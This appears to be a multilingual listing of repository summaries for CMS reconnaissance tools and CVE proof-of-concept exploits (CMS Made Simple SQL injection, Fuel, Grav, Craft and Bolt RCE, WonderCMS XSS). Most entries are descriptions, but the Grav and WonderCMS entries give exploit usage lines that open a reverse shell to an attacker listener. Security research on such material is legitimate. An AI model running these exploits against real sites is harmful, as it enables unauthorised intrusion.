CMSeeK

什么是 CMS？ 内容管理系统（CMS）负责创建和修改数字内容。它通常支持在协作环境中多用户操作。一些著名的例子包括： WordPress、Joomla、Drupal 等 。 发布历史 - Version 1.1.3 25-07-2020 - Version 1.1.2 19-05-2019 - Version 1.1.1 01-02-2019 - Version 1.1.0 28-08-2018 - Version 1.0.9 21-08-2018 - Version 1.0.8 14-08-2018 - Version 1.0.7 07-08-2018 ... 更新日志文件 CMSe...

CVE-2020-13405

CVE-2020-13405 Puntuación base: 7.5 ALTA🟥 MicroWeber es un Sistema de Gestión de Contenidos CMS de código abierto escrito en PHP. Permite a los administradores web crear fácilmente un sitio web arrastrando y soltando componentes donde deseen. Es una opción popular entre quienes buscan iniciar un...

CVE-2019-9053

CVE 2019-9053 Detalle Descripción Este código es una implementación de un ataque de inyección SQL ciega basada en tiempo en Python 3. El ataque está diseñado para explotar una vulnerabilidad de inyección SQL en un Sistema de Gestión de Contenidos CMS Made Simple 2.2.8 a través de una solicitud...

XCTR-Hacking-Tools

🍀 XCTR 黑客工具 🍀 版本 1.0.0 一站式信息收集 工具。 Instagram：Capture the Root 🖼️ 屏幕截图 🖼️ 📹 如何使用 📹 点击图片... 感谢 Jolanda de Koff 。 您可以访问 https://hackingpassion.com 查看大量精彩文章。 📒 自述文件 📒 首先，您需要创建一个项目 来保存所有内容。 所有收集的信息都以 "项目名称" 的形式保存在 results 目录中。 ⚙️ 您可以在设置部分更新用户代理和代理信息，还可以更新 URL、代理、项目名称、字典、线程数。 🧰 功能 🧰 该工具包括： 漏洞搜索器...

CVE-2018-16763

CVE-2018-16763 漏洞标题：fuel CMS 1.4.1 - 远程代码执行 Python3 脚本 - 💻 此脚本由 h3x0v3rl0rd 开发。...

CVE-2021-21425-RCE

esta es mi versión, encontré muchas en internet pero son demasiado malas USO python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 espera... en 60 segundos obtendrás una shell en tu listener...

CVE-2023-30145

Descripción: Se descubrió que Camaleon CMS v2.7.0 contiene una vulnerabilidad de inyección de plantillas del lado del servidor SSTI a través del parámetro formats. Componente afectado: Todas las versiones anteriores a 2.7.0 Versión corregida: Versiones corregidas: 2.7.4 Pasos para reproducir :...

CVE-2026-8337

CVE-2026-8337 CVE-2026-8337 es una vulnerabilidad de Referencia Directa a Objetos Insegura IDOR en Concrete CMS que afecta a la función de Encuestas. A diferencia de CVE-2026-8347 que involucraba asociaciones de Express, esta vulnerabilidad permite que un atacante no autenticado participe en una...

CVE-2019-9053-CMS-Made-Simple-2.2.10---SQL-Injection-Exploit

CMS-Made-Simple-2.2.10---SQL-Injection-Exploit-com-corre-o-de-Bugs El exploit fue corregido para soportar python 3 CVE-2019-9053 Fuente de explotación original: https://www.exploit-db.com/exploits/46635 Posible error y su corrección Traceback most recent call last: File "46635.py", line 12, in fr...

webkiller

WebKiller V2 用Python编写的信息收集工具。 预览 ██╗ ██╗███████╗██████╗ ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ ██║ ██║██╔════╝██╔══██╗██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ ██║ █╗ ██║█████╗ ██████╔╝█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ ██║███╗██║██╔══╝ ██╔══██╗██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗ ╚███╔███╔╝███████╗██████╔╝█...

webkiller

WebKiller V2 Tool Information Gathering Write With Python. PreView ██╗ ██╗███████╗██████╗ ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ ██║ ██║██╔════╝██╔══██╗██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ ██║ █╗ ██║█████╗ ██████╔╝█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ ██║███╗██║██╔══╝ ██╔══██╗██╔═██╗ ██║██║ ██║ ██╔══╝...

CVE-2026-105985

Craft CMS 5.10.13.2 contains an authenticated remote code execution vulnerability in the Control Panel action app/render-components. Any authenticated user with basic Control Panel access can submit request-controlled component classes and property overrides. By first overriding...

wordlists

Wordlists Listas de palabras reales de seguridad informática, actualizadas periódicamente Listas de palabras actuales Tecnologías Estas listas de palabras se basan en el código fuente de los CMS/servidores/frameworks enumerados aquí. Las listas de palabras actuales incluyen: Wordpress Joomla Drup...

CVE-2023-50564-pluck

CVE-2023-50564-pluck CVE-2023-50564 Una vulnerabilidad de carga arbitraria de archivos en el componente /inc/modulesinstall.php de Pluck-CMS v4.7.18 permite a los atacantes ejecutar código arbitrario mediante la carga de un archivo ZIP manipulado. Esta es una vulnerabilidad autenticada. Descargo ...

CVE-2026-44011-poc

CVE-2026-44011 RCE autenticado en Craft CMS mediante inyección de comportamiento de Yii. Afectados: 4.0.0–4.17.11, 5.0.0–5.9.17 Corregido en: 4.17.12, 5.9.18 Aviso: GHSA-qrgm-p9w5-rrfw Vulnerabilidad El endpoint /admin/actions/element-search/search acepta un parámetro condition que se pasa...

comission

CoMisSion - 白盒CMS分析 CoMisSion 是一个用于快速分析 CMS 配置的工具。该工具： 检查核心版本； 将核心文件与从 CMS 官方网站下载的新鲜压缩包进行比较，检查对核心的修改（新增、修改、删除）； 查找最新的核心版本； 查找使用的核心版本中的漏洞（仅 WordPress）； 检查插件和主题的版本； 将每个插件和每个主题文件与从 CMS 官方网站下载的新鲜压缩包进行比较，检查修改（新增、修改、删除）； 查找使用的插件和主题版本中的漏洞。 🔥 注意：CoMisSion 不通过分析源代码来寻找漏洞。漏洞信息来自公共数据库，如 wpvulndb。发现新漏洞不是...

CVE-2023-41425

CVE-2023-41425 描述 WonderCMS 版本 3.2.0 至 3.4.2 中存在一个跨站脚本漏洞，允许远程攻击者通过上传特制脚本到 installModule 组件来执行任意代码。 这是 prodigiousMind 原始漏洞利用的修改版本，扩展了漏洞利用功能，使其能够在本地提供完整的漏洞利用服务，无需依赖外部网络连接。 当你在海上迷失，且发现你的自行车出了问题的时候，它很有用…… 注意：仓库中留下的 xss.js 仅用于演示目的，脚本运行时将用你的配置覆盖它。 用法 usage: exploit.py -h -u URL -lh LHOST -lp LPORT -sh...

CVE-2022-36532

Prueba de concepto para CVE-2022-36532 Una vulnerabilidad en Bolt CMS versión 5.1.12 y anteriores permite que un usuario autenticado con el rol EDITORROLE logre la ejecución remota de código. Esta vulnerabilidad puede detectarse con este script; para más detalles sobre la vulnerabilidad, consulte...

wig

wig - Web应用信息收集器 wig是一个网络应用信息收集工具，可以识别众多内容管理系统和其他管理应用。 应用指纹识别基于已知CMS不同版本文件的校验和与字符串匹配。据此为每个检测到的CMS及其版本计算评分。每个检测到的CMS会与最可能的版本一起显示。评分计算基于权重和给定校验和的"命中"数量。 wig还会尝试根据服务器返回的'server'和'x-powered-by'头信息猜测服务器操作系统。wig包含一个已知不同操作系统头信息的数据库，使其能够猜测Microsoft Windows版本以及Linux发行版及其版本。 系统要求 wig使用Python 3 构建，因此不兼容Pyth...

wig

wig - WebApp Information Gatherer wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications. The application fingerprinting is based on checksums and string matching of known files for different versions of...